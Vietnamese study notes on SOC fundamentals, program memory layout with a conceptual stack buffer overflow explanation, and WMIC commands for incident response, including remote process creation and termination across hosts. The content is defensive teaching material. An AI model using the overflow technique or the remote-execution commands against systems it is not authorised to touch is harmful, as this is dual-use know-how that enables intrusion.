1.1. SOC là gì?

Trung tâm điều hành An ninh mạng (SOC) là nơi mà có đội ngũ chuyên trách liên tục theo dõi, giám sát và phân tích những vấn đề về bảo mật của tổ chức. Mục đích của nhóm SOC là phát hiện, phân tích và ứng phó với các sự cố an ninh mạng bằng cách sử dụng công nghệ, con người và quy trình.

1.2. Các mô hình SOC

• In-house SOC: Tổ chức tự xây dựng đội ngũ SOC của riêng mình.

• Virtual SOC: Đội ngũ SOC không tập chung một nơi mà làm việc từ xa ở các địa điểm khác nhau

• Co-Managed SOC: Đội SOC nội bộ sẽ phối hợp và làm việc với nhà cung cấp dịch vụ bên ngoài - Managed Security Service Provider (MSSP)

• Command SOC: Đội SOC làm việc ở những đơn vị cung cấp viễn thông, mạng internet (ISP) hay các cơ quan quốc phòng.

1.3. Sự kết hợp: Con người - Quy trình - Công nghệ

• Con người: Đội ngũ nhân viên được đào tạo chuyên sâu, quen thuộc với các cảnh báo bảo mật và các kịch bản tấn công. Khi các kỹ thuật tấn công ngày càng thay đổi liên tục thì càng đòi hỏi những nhà phân tích SOC phải nhanh chóng thích ứng được với các kiểu tấn công mới và sẵn sàng nghiên cứu.

• Quy trình: Để một cấu trúc SOC của tổ chức đạt đến độ hoàn thiện tốt, phải có sự tối ưu, điều chỉnh với nhiều loại yêu cầu bảo mật khác nhau như: NIST, PCI, HIPAA. Các quy trình yêu cầu phải được chuẩn hóa để đảm bảo không bị thiếu xót trong một khâu nào đó.

• Công nghệ: Cần có nhiều sản phẩm khác nhau cho nhiều lĩnh vực như: Penetration Test, Detection, Prevention, Analyze. Tùy thuộc vào ngân sách của tổ chức mà lựa chọn sản phẩm phù hợp, đôi khi sản phẩm tốt nhất trên thị trường lại không phải là sản phẩm tốt nhất cho tổ chức của bạn.

1.4. Các vị trí hoạt động trong SOC

• SOC Analyst: Có thể được chia thành các nhóm như Level 1, 2 ,3 theo cấu trúc SOC. Một SOC Analyst sẽ thực hiện phân loại cảnh báo, tìm nguyên nhân và đưa ra biện pháp khắc phục.

• Incident Responder: Tham gia phát hiện các mối đe dọa, thực hiện đánh giá ban đầu về các vi phạm bảo mật.

• Threat Hunter: Tìm ra các lỗ hổng trong hệ thống trước khi kẻ tấn công có thể khai thác chúng bằng một cuộc tấn công.

• System Security Engineer: Vận hành hạ tầng các giải pháp như SIEM, các sản phẩm SOC, SOAR,..

• SOC Manager: Chịu trách nhiệm quản lý chung, thiết lập ngân sách, xây dựng chiến lược, quản lý nhân sự, điều phối hoạt động. Thường giải quyết các vấn đề vận hành hơn là kỹ thuật.

2. SOC Analyst và trách nhiệm

• SOC Analyst là những người đầu tiên được tiếp cận và phân tích mối đe dọa, đóng vai trò quan trọng trong SOC

• Các kỹ thuật tấn công thay đổi liên tục, với SOC Analyst công việc sẽ bớt nhàm chán khi mỗi sự cố gặp phải sẽ khác nhau.

• Kiến thức:

  • Operating Systems: Hiểu hệ điều hành, biết được những gì là bất thường trong quá trình hoạt động. VD: Suspicious Process/Service.

  • Network: Hiểu về hoạt động của mạng, cách mà các máy tính giao tiếp với nhau. VD: Malicious IP/Domain, Data leak on network.

  • Malware Analysis: Kỹ năng phân tích mã độc cơ bản, hiểu mã độc thực hiện những gì, xác định được máy chủ điều khiển của mã độc.

3. SIEM và mối quan hệ với SOC Analyst

• Security Information and Event Management (SIEM)

  • SIEM Là một giải pháp quản lý tập chung các sự kiện, nhật ký bảo mật theo thời gian thực trong một môi trường. Mục đích là phát hiện các mối đe dọa về bảo mật.

  • Với tư cách là một SOC Analyst, những gì cần được quan tâm nhất đó là xây dựng các quy tắc, bộ lọc đối với những dữ liệu thu thập được và tạo ra các cảnh báo cho bất kỳ sự kiện đáng ngờ.

  • VD: Một hoạt động đáng ngờ là có một người nào đó sử dụng HĐH Windows cố gắng thử đăng nhập 20 lần với các mật khẩu khác nhau trong vòng 10 giây. Không có ai quên mật khẩu của họ sau đó cố gắng nhập sai mật khẩu nhiều lần trong một khoảng thời gian ngắn như vậy. Như vậy trong tình huống này cần phải có quy tắc trên SIEM để tạo ra cảnh báo.

  • Một số giải pháp SIEM phổ biến: Splunk, IBM QRadar, ArcSight ESM, FortiSIEM,..

• Mối quan hệ giữa SIEM và SOC Analyst

  • Dữ liệu thu thập được trên SIEM sẽ đi qua bộ lọc và tập luật để sinh ra các cảnh báo. Những cảnh báo này sẽ được phân tích bởi SOC Analyst nhằm xác định xem đó là một mối đe dọa thực sự (True Positive) hay nhầm lẫn (False Positive).

  • SOC Analyst phân tích các cảnh báo với sự trợ giúp của các sản phẩm SOC khác: EDR, Log Management, Threat Intelligence Feed,..

• Ví dụ về False Positive

  • Một SIEM Team cố gắng tạo ra tập luật để phát hiện tấn công SQL Injection với từ khóa union trong URL

  • Một người dùng thực hiện tím kiếm Google và trên URL của anh ta xuất hiện: "https://www.google.com/search?q=sql+union+usage" và một cảnh báo đã được sinh ra vì nó chứa từ khóa khớp với tập luật. Như vậy tình huống này là FP và có thể được thông báo với SIEM Team để cải tiến tập luật, quy trình cảnh báo.

    

4. Quản lý Logs

• Là một giải pháp quản lý nhật ký: web logs, operating system logs, firewall logs, proxy logs, edr logs, mail server logs.v.v.. tập chung tại một điểm.

• Với tư cách là một SOC Analyst, họ thường sử dụng Log Management để kiểm tra chi tiết về một hoạt động nghi ngờ. Ví dụ:

  • Sử dụng Log Management để xem chi tiết về một cảnh báo sinh ra từ SIEM nhằm xác định là TP hay FP.

  • Sử dụng Log Management để truy vấn xem có bao nhiêu host đã kết nối đến địa chỉ ip hay tên miền độc hại đã biết.

• Các giải pháp SIEM có thể đã đi kèm với Log Management

5. Endpoint Detection and Response (EDR)

• Là một giải pháp bảo mật điểm cuối. Hỗ trợ giám sát theo thời gian thực, thu thập dữ liệu điểm cuối và có khả năng tự phân tích sau đó phản ứng lại với mối đe dọa một cách tự động dựa trên các quy tắc/kịch bản.

• Một số giải pháp EDR phổ biến: CarbonBlack, SentinelOne, FireEye HX, Falcon CrowdStrike,..

• Các giải pháp EDR cho phép quản lý tập chung nhiều điểm cuối, truy vấn hàng loạt, cô lập một điểm cuối (điểm cuối không thể giao tiếp với internet cũng như với các máy cùng mạng, chỉ giao tiếp được với trung tâm EDR), kết nối đến điểm cuối cho phép SOC Analyst thao tác trên đó,.v.v..

6. Điều phối, tự động hóa và phản ứng với sự cố bảo mật

• SOAR (Security Orchestration Automation and Response): Là một giải pháp điều phối, tự động hóa và phản ứng lại với các mối đe dọa an ninh mạng. Một số sản phẩm SOAR: Splunk Phantom, QRadar SOAR (IBM Resilient), Cortex XSOAR (Demisto), Logsign,..

• Ưu điểm của SOAR:

  • Tiết kiệm thời gian cho SOC Analyst, thông qua việc tự động hóa các tác vụ như: truy vấn băm của tệp, quét tệp trong môi trường sandbox,...

  • Vận hành một cách tập chung các công cụ, giải pháp bảo mật: Sandbox, Log Management,.v.v.. từ một điểm. Nói cách khác, các công cụ này được tích hợp vào SOAR.

• Playbook: Là một tài liệu dạng kịch bản, mô tả những tình huống cụ thể được sử dụng trong các giải pháp SOAR. Playbook trình bày các bước thực hiện của một quy trình điều tra/phân tích. Đảm bảo tính đầy đủ cũng như sự thống nhất trong cách làm việc giữa các thành viên trong SOC Team.

• Ví dụ: Một SOC Team thực hiện điều tra, phân tích một case về sự cố, nhưng một thành viên nào đó hoặc tất cả những người trong team đó đã không kiểm tra địa chỉ IP hoặc đã quên/bỏ lỡ bước này thì đó là một tình huống không mong muốn → Để khắc phục tình trạng này có thể đưa bước kiểm tra IP với các nguồn khác nhau vào Playbook.

• Hình dưới minh họa SOAR như là trung tâm điều khiển, được cấu hình để hoạt động với các sản phẩm bảo mật khác:

7. Threat Intelligence Feed

• Threat Intelligence feed: có thể hiểu như là nguồn dữ liệu chứa thông tin về các mối đe dọa an ninh mạng, chẳng hạn như: Hash, IP, Domain, URL,.v.v.. Những dữ liệu này được tạo ra từ các hoạt động độc hại đã được phát hiện.

• Nguồn dữ liệu này có thể đến từ những bên thứ ba cung cấp và nó liên tục được cập nhật. Với một SOC Analyst, có thể tìm kiếm, thu thập và sử dụng chúng trong việc điều tra phát hiện các mối đe dọa trong hệ thống.

• Một số nguồn Threat Intelligence phổ biến và miễn phí:

  • https://www.virustotal.com/

  • https://talosintelligence.com/

• Một số lưu ý:

  • Dữ liệu có thể được tìm thấy hoặc không tìm thấy trên các nguồn Threat Intelligence. Khi không tìm thấy, không có nghĩa là nó an toàn. Ví dụ: Hash của một tệp có thể không thấy trên VirusTotal

  • Dữ liệu được tìm thấy trên các nguồn Threat Intelligence cũng không có nghĩa là nó độc hại. VD: Một địa chỉ IP được cho là độc hại tại một thời điểm nhưng sau một khoảng thời gian, tin tặc thay đổi địa chỉ IP và địa chỉ IP cũ được nhà cung cấp cấp lại cho một người dùng khác → Lúc này không thể nói rằng IP đó là độc hại.

8. Những sai lầm phổ biến đối với SOC Analysts

• Phụ thuộc quá nhiều vào VirusTotal

  • Kết quả trên VT không khẳng định URL/IP/File là vô hại ⇒ Chỉ sử dụng VT như là công cụ hỗ trợ.

  • Các Malware mới và sử dụng các kỹ thuật AV Bypass ⇒ VT không phát hiện được hoặc ít bị phát hiện

• Phân tích nhanh chóng mã độc trong Sandbox

  • Quá trình phân tích trong Sandbox thường mất khoảng 3-4 phút ⇒ Không phải lúc nào cũng đem lại kết quả chính xác

  • Mã độc có thể sử dụng các kỹ thuật phát hiện môi trường Sandbox và không tự động thực hiện các hành vi độc hại của mình, hoặc chúng không tự động kích hoạt ngay mà đợi 10-15 phút sau đó mới kích hoạt

  ⇒ Nên phân tích trong thời gian dài là tốt nhất và nó được thực hiện trong môi trường thực tế nếu có thể

• Phân tích logs không đầy đủ

  • SOC Analyst nên sử dụng các giải pháp Log Management để thực hiện truy vấn, tìm kiếm trên toàn bộ hệ thống để đảm bảo không bỏ xót

• Xem qua VirusTotal Dates

  • Khi thực hiện tìm kiếm IP/Domain/Hash trên các nguồn VT cần chú ý đến thời gian gần nhất mà dữ liệu được cập nhật, tốt nhất nên là mới nhất có thể

  • Cách tốt nhất là nên chủ động tìm kiếm lại hoặc re-analysis chứ không dựa vào kết quả cũ trước đó (cache).

9. Tham khảo

• LetsDefend - Hands-On Training platform, SOC Fundamentals

Hệ điều hành 32-bits chỉ hỗ trợ tối đa 4GB RAM. Phân bổ bộ nhớ như sau:

• 1GB cho Kernel Space (Phần địa chỉ cao)

• 3GB cho User Space (Phần địa chỉ thấp)

2. Tổ chức bộ nhớ của một chương trình

Một chương trình thông thường sẽ được cấp phát vùng nhớ ở User Space và vùng nhớ này có thể được chia nhỏ hơn thành các đoạn con: Text/Code, Data, BSS, Heap, Stack,..

Đoạn Text/Code: Thường nằm ở đầu tiên (thấp nhất) so với các đoạn còn lại mục đích để tránh bị tràn vào từ đoạn dữ liệu. Chứa code thực thi đã biên dịch. Quyền trên đoạn này là Read-only/Execute

Đoạn Data: Lưu dữ liệu (các biến, hằng) đã được khởi tạo giá trị. Đoạn này đôi khi còn chia ra thành Read-only Data và Read-Write Data**.** Lấy ví dụ:

char s[] = "hello world";
int debug = 1;

⇒ Những biến này sẽ được lưu vào Read-Write Data

const char* str = "hello world";

⇒ Biến này sẽ được lưu vào Read-only Data

Đoạn BSS: Lưu dữ liệu (các biến, hằng) chưa được khởi tạo giá trị. Phân đoạn này có quyền Read-Write.

Đoạn Heap

• Sử dụng khi cấp phát bộ nhớ động, do người lập trình yêu cầu cho các biến không xác định kích thước tại thời điểm chạy.

• Đoạn này thường nằm sau (trên) BSS và trước (dưới) Stack.

• Heap sẽ lớn dần lên đến các địa chỉ bộ nhớ cao hơn.

• Ví dụ cấp phát động:  malloc/new

Đoạn Stack

• Thường nằm ở cuối cùng (cao nhất/trên cùng) so với các đoạn trước đó. Cụ thể là nằm sau (trên) Heap và trước (dưới) Kernel Space.

• Cấp phát theo các Stack Frame - SF, các SF tuân theo cơ chế LIFO

• Stack sẽ lớn dần lên đến các địa chỉ bộ nhớ thấp hơn ⇒ TỨC LÀ NGƯỢC VỚI HEAP

• Stack Frame: Lưu dữ liệu cần thiết khi gọi một hàm (biến cục bộ, tham số truyền vào hàm, địa chỉ trở về của hàm,..)

• Mỗi một hàm có thể coi như một SF, mỗi khi gọi hàm, thì một SF mới lại được cấp phát ở đầu ngăn xếp

• Thanh ghi con trỏ ngăn xếp (Stack Pointer - SP) được điểu chỉnh liên tục cứ mỗi khi có SF mới đc cấp phát hay thu hồi và nó luôn trỏ vào đỉnh Stack, hay SF mới nhất đc cấp phát

• Khi Stack Pointer gặp Heap Pointer hoặc nó đạt đến giới hạn RLIMIT_STACK ⇒ Hết bộ nhớ Stack

Cấp phát bộ nhớ cho các Stack Frame

Bên trong một Stack Frame

3. Tràn bộ đệm trên Stack

Lỗi này xảy ra khi dữ liệu đầu vào không được kiểm tra, xác minh trước khi đem đi xử lý dẫn đến việc ghi đè lên những vùng dữ liệu quan trọng khác.

Bên trong một Stack Frame, dữ liệu được mô tả như sau:

Theo minh họa trên thì ta có thứ tự các vùng nhớ con bên trong một stack frame với chiều giảm dần của địa chỉ (high → low) như sau:

Như vậy khi xảy ra tràn bộ đệm trên ngăn xếp, chúng ta hiểu rằng dữ liệu tại vùng buffer space đang có vấn đề, cụ thể là dữ liệu của một biến nào đó đã “lấn chiếm/ghi đè” sang vùng nhớ lân cận của biến khác gây sai lệch về dữ liệu so với ban đầu trước khi ghi đè.

Một đặc điểm quan trọng cần lưu ý đó là các vùng nhớ con bên trong một stack frame lần lượt được phân bổ theo chiều địa chỉ giảm dần (high -> low), điều này đồng nghĩa rằng bên trong một hàm: Biến nào được khai báo sau thì biến đó nằm ở vị trí có địa chỉ THẤP hơn biến khai báo trước.

Cụ thể hãy xem ví dụ sau:

#include <stdio.h>
#include <string.h>

void foo() {
	int a = 123;
	char b[16];
	int c = 456;
	int d = 789;
	printf("address of a = %d\n", &a);
	printf("address of b = %d\n", &b);
	printf("address of c = %d\n", &c);
	printf("address of d = %d\n", &d);
}

int main(int argc, char const *argv[]) {
	foo();
	return 0;
}

Biên dịch sau đó chạy chương trình và quan sát kết quả:

$ gcc.exe -o bof.exe bof.c
$ bof.exe
address of a = 6356668
address of b = 6356652
address of c = 6356648
address of d = 6356644

💡 Phiên bản GCC sử dụng: `gcc.exe (i686-posix-sjlj-rev0, Built by MinGW-W64 project) 8.1.0`. Có sẵn tại: https://sourceforge.net/projects/mingw-w64/files/

Như vậy nếu xảy ra tràn bộ đệm ở biến b với kích thước dữ liệu vượt quá 16 bytes thì kể từ byte thứ 17 trở đi nó sẽ ghi đè lên vùng nhớ của biến a (biến được khai báo trước nó), trong khi biến c và d (khai báo sau đó) không bị ảnh hưởng. Xem minh họa dưới đây: b ghi đè 2 bytes sang a

Nghiêm trọng hơn, nếu dữ liệu ghi đè vượt quá vùng buffer space sau đó tràn sang cả vùng return address thì lúc này hacker coi như đã kiểm soát được EIP và điều khiển được luồng thực thi của chương trình về đoạn shellcode mà hacker chuẩn bị sẵn.

Xem minh họa dưới đây để thấy hacker kiểm soát được EIP:

4. Tham khảo

• Gabriele Tolomei, In-Memory Layout of a Program (Process)

• Michael Sikorski, Andrew Honig (2012). Practical Malware Analysis, No Starch Press

1. Công cụ Quản lý và Truy vấn hệ thống

Windows Management Instrumentation (WMI) cho phép Quản trị viên, người tham gia Incident Response có thể thực hiện các thao tác và truy xuất vào hệ thống thông qua các lớp WMI. Microsoft tạo ra một công cụ dòng lệnh gọi là Windows Management Instrumentation Command-line utility - WMIC để tương tác với các lớp WMI.

DMTF (Distributed Management Task Force) trước đây đã tạo ra Common Information Model (CIM), CIM cung cấp tiêu chuẩn mở để mô tả các tài nguyên CNTT đều là các đối tượng, người dùng truy vấn, cấu hình tài nguyên thông qua việc tương tác với các đối tượng. Microsoft đã triển khai CIM dưới dạng WMI, nó sử dụng mô hình Remote Procedure Call/Distributed Component Object Model (RPC/DCOM) để thiết lập các kết nối từ xa đến các hệ thống được quản lý hoặc được truy vấn. Hiện nay Microsoft đã triển khai Windows Management Infrastructure (MI) có tính tương thích ngược với WMI, MI tận dụng Windows Remote Management (WinRM) là một triển khai của Web Services for Management (WS-Management). WS-Management sử dụng giao thức SOAP (Simple Object Access Protocol) qua HTTP/HTTPS để dễ dàng cho việc truy vấn và quản lý tài nguyên mạng từ xa.

Như vậy để có thể tương tác với các lớp WMI có thể thông qua RPC/DCOM là cách truyền thống hoặc thông qua WinRM là MI. Bài này sẽ tập chung vào sử dụng WMIC để tương tác với các lớp WMI trên các kết nối RPC/DCOM truyền thống. Cuối cùng, cũng sẽ trình bày về Powershell.

1.1. Tìm hiểu về WMI và cú pháp WMIC

WMI cung cấp một lượng lớn các tùy chọn để tương tác với hệ thống Windows, điều đó cũng đồng nghĩa nó cũng phức tạp. Đối với công việc của người làm IR thì không cần phải thông thạo tất cả mà chỉ một phần chức năng của WMI là đã đủ để thực hiện các yêu cầu. WMIC là công cụ dòng lệnh, đơn giản hóa việc truy cập vào WMI thông qua một tập hợp các aliases cho phép chúng ta tạo ra các lệnh tương đối đơn giản sau đó nó được WMIC chuyển đổi thành cú pháp cần thiết đê truy vấn WMI.

WMIC có thể được chạy ở 2 chế độ:

• Chế độ tương tác trực tiếp: Thông qua một WMI-aware shell

• Chế độ không tương tác: Thông qua lệnh wmic ở cửa sổ dòng lệnh và WMI Query Language (WQL) để lọc kết quả đầu ra (Khuyên dùng)

Ví dụ minh họa chạy WMIC ở chế độ không tương tác:

C:\>wmic /node:"server1" process where name="svchost.exe" get name, processid, parentprocessid, commandline
CommandLine                                                                                     Name         ParentProcessId  ProcessId
C:\Windows\system32\svchost.exe -k DcomLaunch -p                                                svchost.exe  868              1008
C:\Windows\system32\svchost.exe -k RPCSS -p                                                     svchost.exe  868              924
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM                                         svchost.exe  868              1088
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC                                         svchost.exe  868              1224
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService                svchost.exe  868              1304
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc            svchost.exe  868              1312
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s hidserv                   svchost.exe  868              1400
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog                 svchost.exe  868              1488
C:\Windows\system32\svchost.exe -k LocalService -p                                              svchost.exe  868              1532
...

Giải thích cú pháp:

• Tham số /node:"server1" cho biết đây là một truy vấn đến hệ thống từ xa không phải cục bộ

• Theo sau là process cho biết đây là một aliases (bí danh) đề cập đến lớp của WMI mà chúng ta muốn tương tác. Trong trường hợp này là lớp Win32_Process

• Tiếp theo where name="svchost.exe" đây là cú pháp của WQL dùng để lọc kết quả trả về, thuộc tính Name của các đối tượng Win32_Process được chỉ định bằng svchost.exe

• Cuối cùng get name, processid, parentprocessid, commandline là danh sách các thuộc tính của đối tượng, được phân cách bằng dấu ,

Một thách thức đối với WMIC đó là hiểu cấu trúc của các đối tượng hay chính là các thuộc tính của các lớp WMI. Cố gắng ghi nhớ tất cả thông tin này sẽ tốn thời gian, với vai trò tham gia ứng phó sự cố thì chúng ta chỉ cần một số ít đối tượng và thuộc tính liên quan của chúng. Sử dụng wmic /? để tìm hiểu thêm, ngoài ra cũng có thể tham khảo các tài liệu sau:

• WMIC Quick Reference: https://www.appliedincidentresponse.com/wmic-quick-reference/

• Windows Management Instrumentation: https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

• Ví dụ cho lớp Win32_Process

  class Win32_Process : CIM_Process
  {
    string   CreationClassName;
    string   Caption;
    string   CommandLine;
    datetime CreationDate;
    string   CSCreationClassName;
    string   CSName;
    string   Description;
    string   ExecutablePath;
    uint16   ExecutionState;
    string   Handle;
    uint32   HandleCount;
    datetime InstallDate;
    uint64   KernelModeTime;
    uint32   MaximumWorkingSetSize;
    uint32   MinimumWorkingSetSize;
    string   Name;
    string   OSCreationClassName;
    string   OSName;
    uint64   OtherOperationCount;
    uint64   OtherTransferCount;
    uint32   PageFaults;
    uint32   PageFileUsage;
    uint32   ParentProcessId;
    uint32   PeakPageFileUsage;
    uint64   PeakVirtualSize;
    uint32   PeakWorkingSetSize;
    uint32   Priority = NULL;
    uint64   PrivatePageCount;
    uint32   ProcessId;
    uint32   QuotaNonPagedPoolUsage;
    uint32   QuotaPagedPoolUsage;
    uint32   QuotaPeakNonPagedPoolUsage;
    uint32   QuotaPeakPagedPoolUsage;
    uint64   ReadOperationCount;
    uint64   ReadTransferCount;
    uint32   SessionId;
    string   Status;
    datetime TerminationDate;
    uint32   ThreadCount;
    uint64   UserModeTime;
    uint64   VirtualSize;
    string   WindowsVersion;
    uint64   WorkingSetSize;
    uint64   WriteOperationCount;
    uint64   WriteTransferCount;
  };
  

Mặc dù WMI Namespace có thể phức tạp nhưng nó rất mạnh mẽ và hiệu quả trong thu thập thông tin về tài nguyên mạng, tài nguyên hệ thống. WMIC có thể tạo các kết nối từ xa thông qua RPC/DCOM, khiến nó trở thành công cụ cực kỳ hữu ích để ứng phó sự cố.

Các hệ thống trong quá trình hoạt động thì luôn thay đổi, khi tham gia ứng phó sự cố sẽ phải tương tác với hệ thống dẫn đến thay đổi bằng chứng số dù ít hay nhiều, nên cần phải được ghi lại và khuyến khích thực hiện các hành động này từ xa.

1.2. Một số tùy chọn của WMIC

/node Sử dụng tên máy chủ hoặc địa chỉ IP. Dưới đây là một số tùy chọn hữu ích khác:

WMIC switches

aliases cung cấp các bí danh, giúp dễ nhớ hơn khi truy cập vào các lớp WMI

Common WMIC aliases

Các kết quả từ WMIC có thể rất nhiều và khó hiểu, lúc này có thể sử dụng Management Instrumentation Query Language (WQL) một dạng ngôn ngữ truy vấn tương tự như Structured Query Language (SQL) để lọc dữ liệu.

Common where clause WQL operators

LIKE operator wildcards

Tham khảo: https://docs.microsoft.com/en-us/windows/win32/wmisdk/like-operator

Ví dụ sử dụng toán tử LIKE. Lưu ý là các toán tử của WQL không phân biệt chữ hoa-thường. Sử dụng các cặp nháy đơn, nháy kép lồng nhau hoặc ngoặc đơn sao cho phù hợp.

$ wmic process where "Name like 'svchost%'" get name, processid, parentprocessid, commandline
$ wmic process where 'Name like "svchost%"' get name, processid, parentprocessid, commandline
$ wmic process where (Name like "svchost%") get name, processid, parentprocessid, commandline

Một tùy chọn hữu ích khác nữa là /format và /output để quy định đầu ra của kết quả

$ wmic computersystem list /format:csv > output.csv
$ wmic /output:output.csv computersystem list /format:csv

1.3. Một số ví dụ về WMIC

Các lệnh này có thể được chạy trước khi một sự cố xảy ra nhằm tạo CSDL cho các hệ thống, các lệnh nên được chạy hàng tuần là tốt nhất và kết quả được lưu ra tệp tin, ngoài việc nó giúp quản trị viên biết được hệ thống hoạt động ở trạng thái bình thường ra sao thì khi có sự cố xảy ra nó lại cực kì hữu dụng. Ví dụ lệnh sau chạy trên một hệ thống cục bộ và kết quả được lưu trữ vào một nơi có thể chia sẻ với người khác:

$ wmic environment list brief /format:list > \\server1\BaselineData\Client2\environment.txt

Ví dụ truy vấn đến một hệ thống từ xa, kết quả lưu vào một tệp txt tại hệ thống cục bộ:

$ wmic /node:server1 /output:processes.txt process get name, processid, parentprocessid, threadcount, handlecount, commandline
$ wmic /node:"server1" /output:processes.txt process get name, processid, parentprocessid, threadcount, handlecount, commandline /format:list

Ví dụ giả sử bạn đã xác định được tiến trình độc hại và muốn dừng nó:

$ wmic /node:"server1" process where name="CRACKME.EXE" delete
Deleting instance \\server1\ROOT\CIMV2:Win32_Process.Handle="2764"
Instance deletion successful.

Ví dụ liệt kê các tiến trình được chạy từ một vị trí (đường dẫn) chứa chuỗi Download:

$ wmic process where (ExecutablePath LIKE "%Download%") get name, executablepath
ExecutablePath                                                        Name
C:\Program Files (x86)\Internet Download Manager\IDMan.exe            IDMan.exe
C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe  IDMIntegrator64.exe
...

Ví dụ sử dụng toán tử NOT để lọc các tiến trình có đường dẫn không chứa chuỗi Windows:

$ wmic process where (NOT ExecutablePath LIKE "%Windows%") get name, executablepath, parentprocessid
ExecutablePath                                                                                                             Name                                 ParentProcessId
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe                                             OfficeClickToRun.exe                 836
C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe                                                              sqlwriter.exe                        836
C:\Program Files\Canon\Canon MF Network Scanner Selector\CMFNSS6.EXE                                                       CMFNSS6.EXE                          8028
C:\Program Files\Google\Chrome\Application\chrome.exe                                                                      chrome.exe                           9824
...

Ví dụ sử dụng WMIC để khởi tạo tiến trình từ xa:

$ wmic /node:"server1" process call create "calc"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 6184;
        ReturnValue = 0;
};

$ wmic /node:"server1" process where (Name LIKE "%Calc%") get name, processid, parentprocessid, commandline
CommandLine                                                                                                                                                        Name            ParentProcessId  ProcessId
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2103.8.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca  Calculator.exe  1008             11660

Ví dụ xác định địa chỉ IP, MAC, cấu hình mạng, sử dụng alias nicconfig:

$ wmic nicconfig get MACAddress, DefaultIPGateway, IPAddress, DNSHostName
DefaultIPGateway  DNSHostName      IPAddress                                        MACAddress

{"192.168.10.1"}  server1  {"192.168.10.116", "f88c::d559:1201:df56:b6c4"}  00:61:96:DF:F4:3E
...

Ví dụ xác định các thư mục đang được chia sẻ:

$ wmic /node:"server1" share list brief
Description    Name    Path
Remote Admin   ADMIN$  C:\Windows
Default share  C$      C:\
Default share  D$      D:\
Default share  E$      E:\
Default share  F$      F:\
Remote IPC     IPC$

# Exclude Default Share
\( wmic /node:"server1" share where (NOT Name LIKE "%\)") list brief
No Instance(s) Available.

Ví dụ xác định cách services, tham số /user chỉ định tên username đăng nhập, không có tham số /password nên khi chạy lệnh sẽ bật ra một prompted yêu cầu nhập password. Đầu ra có thể lưu ra file csv bằng > hoặc >> hoặc dùng tham số /output

$ wmic /node:server1 /user: administrator@company.demo service get Name, Caption, State, StartMode, pathname /format:csv

$ wmic /node:"server1" service get Name, Caption, State, StartMode, pathname /format:csv
Node,Caption,Name,PathName,StartMode,State
server1,Base Filtering Engine,BFE,C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p,Auto,Running
server1,AllJoyn Router Service,AJRouter,C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p,Manual,Stopped
server1,Application Layer Gateway Service,ALG,C:\Windows\System32\alg.exe,Manual,Stopped
server1,Application Host Helper Service,AppHostSvc,C:\Windows\system32\svchost.exe -k apphost,Auto,Running
...

$ wmic /node:"server1" service get Name, Caption, State, StartMode, pathname /format:list
Caption=Application Layer Gateway Service
Name=ALG
PathName=C:\Windows\System32\alg.exe
StartMode=Manual
State=Stopped

Caption=AppX Deployment Service (AppXSVC)
Name=AppXSvc
PathName=C:\Windows\system32\svchost.exe -k wsappx -p
StartMode=Manual
State=Running

Caption=DHCP Client
Name=Dhcp
PathName=C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
StartMode=Auto
State=Running
...

Ví dụ xác định các bản vá hệ thống (Hotfixs), hữu dụng khi hacker đang chủ đích nhắm vào một lỗ hổng cụ thể, cần xác định xem hệ thống nào đã vá hoặc chưa vá lỗ hổng đó. Giả sử tệp Systems.txt chứa danh sách Computername, mỗi tên đặt trên một dòng.

# Systems.txt
DC1
DC2
SERVER1
SERVER2
CLIENT1
CLIENT2

$ wmic /node:@Systems.txt qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect
$ wmic /node:"server1" qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect
CSName   Description      FixComments  HotFixID   InstalledBy          InstalledOn  ServicePackInEffect
server1  Update                        KB5007289  NT AUTHORITY\SYSTEM  11/27/2021
server1  Update                        KB5000736                       4/9/2021
server1  Update                        KB5003791  NT AUTHORITY\SYSTEM  11/27/2021
...

Khi truy cập vào các node, nếu không truy cập được sẽ xuất hiện lỗi RPC Server not available. Trường hợp phải kết nối để truy vấn một lượng lớn các máy chủ, để giảm thời gian kết nối sử dụng tham số /failfast:on. Nếu sử dụng tham số /output để chỉ định đầu ra thì trong tệp kết quả sẽ không xuất hiện lỗi mà nó chỉ xuất hiên ở màn hình console. Có thể sử dụng kiểu xuất kết quả sau để lưu kết quả ra một tệp, lỗi ra một tệp: 1>results.txt 2>errors.txt

$ wmic /node:@Systems.txt /failfast:on qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect 1>results.txt 2>errors.txt

Ví dụ sử dụng vòng lặp để chạy nhiều lệnh:

# Hosts.txt
DC1
DC2
SERVER1
SERVER2

$ for /F %i in (Hosts.txt) do @echo scanning %i & wmic /node:%i process get name, processid, parentprocessid, threadcount, handlecount >> %i.txt & wmic /node:%i environment list brief >> %i.txt & wmic /node:%i nicconfig get MACAddress, DefaultIPGateway, IPAddress, IPSubnet, DNSHostName, DNSDomain >> %i.txt & wmic /node:%i service get Name, Caption, State, ServiceType, StartMode, pathname >> %i.txt & wmic /node:%i qfe get description, FixComments, HotFixID, InstalledBy, InstalledOn, ServicePackInEffect >> %i.txt
# Example, run in local, for one machine
